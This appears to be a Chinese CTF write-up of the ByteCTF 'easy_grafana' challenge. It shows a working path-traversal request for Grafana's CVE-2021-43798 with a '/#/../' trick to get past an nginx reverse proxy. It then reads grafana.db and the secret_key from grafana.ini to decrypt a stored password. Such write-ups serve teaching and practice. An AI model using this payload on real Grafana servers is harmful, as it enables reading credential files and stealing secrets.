刷题(五)

116 阅读1分钟

本文已参与「新人创作礼」活动,一起开启掘金创作之路。

easy_grafana

题目描述You must have seen it, so you can hack it

涉及知识点

  • CVE-2021-43798 Grafana Unauthorized arbitrary file reading vulnerability
  • Grafana反代400的绕过

解题过程

首先看到

他的版本信息为8.2.6,搜索发现存在任意文件读取漏洞

jas502n/Grafana-CVE-2021-43798: Grafana Unauthorized arbitrary file reading vulnerability (github.com)

但正常是读取不到的,应该是开启了反向代理

之后根据知识星球的一篇文章学到了如何绕过

Grafana反代400的绕过 (zsxq.com)

昨天在和chybeta打算看看实战利用的时候,发现这个是最大的鸡肋就是400,一般外网能访问到的,基本上都是反代nginx出来的。

其实可以通过在前面加上/#/../,让nginx不处理#后的锚点。(和chybeta交流了一下,发现星球发过了这个tip。 t.zsxq.com/jeII2Zz)

最后成功的利用: /public/plugins/alertlist/#/../..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f/etc/hosts

再根据github文章,搜索/var/lib/grafana/grafana.db文件发现密文

"password":"b0NXeVJoSXKPoSYIWt8i/GfPreRT03fO6gbMhzkPefodqe1nvGpdSROTvfHK1I3kzZy9SQnuVy9c3lVkvbyJcqRwNT6/"}

和/etc/grafana/grafana.ini中的secret_key

SW2YcwTIb9zpO1hoPsMm

开个go环境解密就行了

go环境安装(感谢web0师傅的帮助)

当时执行脚本到时候报错了

第一步
go env -w GO111MODULE=auto

周再运行,发现

AESDecrypt.go:12:2: cannot find package "golang.org/x/crypto/pbkdf2" in any of:
        /usrb/go-1.18c/golang.org/x/crypto/pbkdf2 (from $GOROOT)
        /root/goc/golang.org/x/crypto/pbkdf2 (from $GOPATH)

然后

cd /usr/lib/go-1.18/src
mkdir golang.org
cd golang.org
mkdir x
git clone https://github.com/golang/crypto.git

安装完毕就可以执行脚本了,需要改一下里面的值

ByteCTF{e292f461-285e-47fc-9210-b9cd233773cb}